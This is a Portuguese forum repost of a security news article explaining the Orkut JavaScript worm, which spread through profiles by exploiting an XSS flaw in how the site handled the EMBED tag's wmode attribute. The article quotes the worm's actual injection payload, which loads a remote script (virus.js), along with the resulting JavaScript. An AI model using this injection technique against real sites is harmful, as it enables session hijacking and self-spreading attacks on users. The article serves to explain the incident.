Ir para conteúdo
  • 0

Javascript Não-malicioso “infectou” Perfis No Orkut


Northon

Pergunta

As primeiras horas da quarta-feira (19/12) foram certamente um caos para os usuários do Orkut. Um “worm” feito em Javascript “infectou” mais de 660 mil perfis na rede social do Google.

 

Na verdade, a “infecção” simplesmente se dava por meio da adição automática da vítima à uma comunidade de nome “Infectados pelo vírus do Orkut”. Os usuários presentes na lista de amigos do internauta então recebiam o mesmo scrap malicioso, que por sua vez os fazia repetir as mesmas ações (enviar novamente o scrap, entrar na comunidade). Algumas pessoas reclamaram da impossibilidade de enviar scraps após a infecção, mas isto ocorria devido ao filtro do Orkut e não por ação do código.

 

Em outras palavras, nenhum arquivo era instalado no disco rígido. Nenhuma informação era roubada. Apenas a comunidade crescia e os scraps eram enviados. Não é possível dizer que havia intenção maliciosa.

 

O “worm” só funcionou devido a um erro do Orkut no processamento de um atributo da tag EMBED usada para inserir objetos Flash. Quando um usuário insere um EMBED, o Orkut transforma o HTML em um Javascript e cada parâmetro usado no EMBED é passado por meio de uma função Javascript. Para quem entende os códigos, o worm (cujo código decodificado pode ser visto no Pastebin) enviava este EMBED para o Orkut:

 

<embed src=”http://www.orkut.com/LoL.aspx” type=”application/x-shockwave-flash” wmode=”transparent‘); script=document.createElement(’script’); script.src=’http://files.myopera.com/virusdoorkut/files/virus.js’; document.getElementsByTagName(’head’)[0].appendChild(script); escape(’” width=”1″ height=”1″></embed>

 

A parte em negrito antecipa a transformação que o Orkut fará para Javascript e possibilitará que a parte em itálico seja executada em vez de exibida na tela ou simplesmente ignorada. Quando ele for transformado, ficará desta forma:

 

<div id="flashDiv…."><b>To view this content, upgrade to the latest Flash plug-in version at <a href="http://www.macromedia.com/go/getflashplayer/" target="_blank">http://www.macromedia.com/go/getflashplayer</a>.</b></div> <script type="text/javascript">

var flashWriter = new _SWFObject(’http://www.orkut.com/LoL.aspx’, ‘…’, ‘1′, ‘1′, ‘9′, ‘#FFFFFF’, ‘autohigh’, ‘’, ‘’, ‘…’);

flashWriter._addParam(’wmode’, ‘transparent‘);

script=document.createElement(’script’);

script.src=’http://files.myopera.com/virusdoorkut/files/virus.js’;

document.getElementsByTagName(’head’)[0].appendChild(script);escape('’);

flashWriter._addParam(’allowNetworking’, ‘internal’);

flashWriter._addParam(’allowScriptAccess’, ‘never’);

flashWriter._setAttribute(’style’, ‘’);

flashWriter._write(’flashDiv….’);

</script>

 

Isto faz com que o “addParam”, que adiciona os parâmetros ao EMBED pelo script, seja terminado, dando o controle ao script que segue. Este tipo de erro possibilita ataques do tipo XSS (Cross-site Scripting): foi um erro no processamento dos dados enviados (neste caso, no atributio ‘wmode’ da tag EMBED) que possibilitou o ataque.

 

Efetivamente, qualquer código poderia ter sido executado no navegador. Um indivíduo realmente malicioso poderia ter utilizado exploits para instalar cavalos de tróia, ladrões de senha ou qualquer outro tipo de praga digital no sistema de vítimas que estivessem com o navegador desatualizado.

 

Se por um lado o responsável por este ataque poderia ter avisado o Google a respeito deste erro de processamento para que o mesmo fosse corrigido sem nenhum incômodo aos usuários, por outro as conseqüências foram pequenas considerando-se a gravidade do problema.

 

O Google já corrigiu esta brecha; para que algo deste gênero ocorra outra vez, uma falha diferente terá que ser encontrada. Mas vale lembrar que o Orkut já teve problemas semelhantes em pelo menos dois episódios anteriores.

 

Creditos:

 

Linha Defensiva

Editado por Northon
Link para o comentário
Compartilhar em outros sites

0 respostass a esta questão

Posts Recomendados

Até agora não há respostas para essa pergunta

×
×
  • Criar Novo...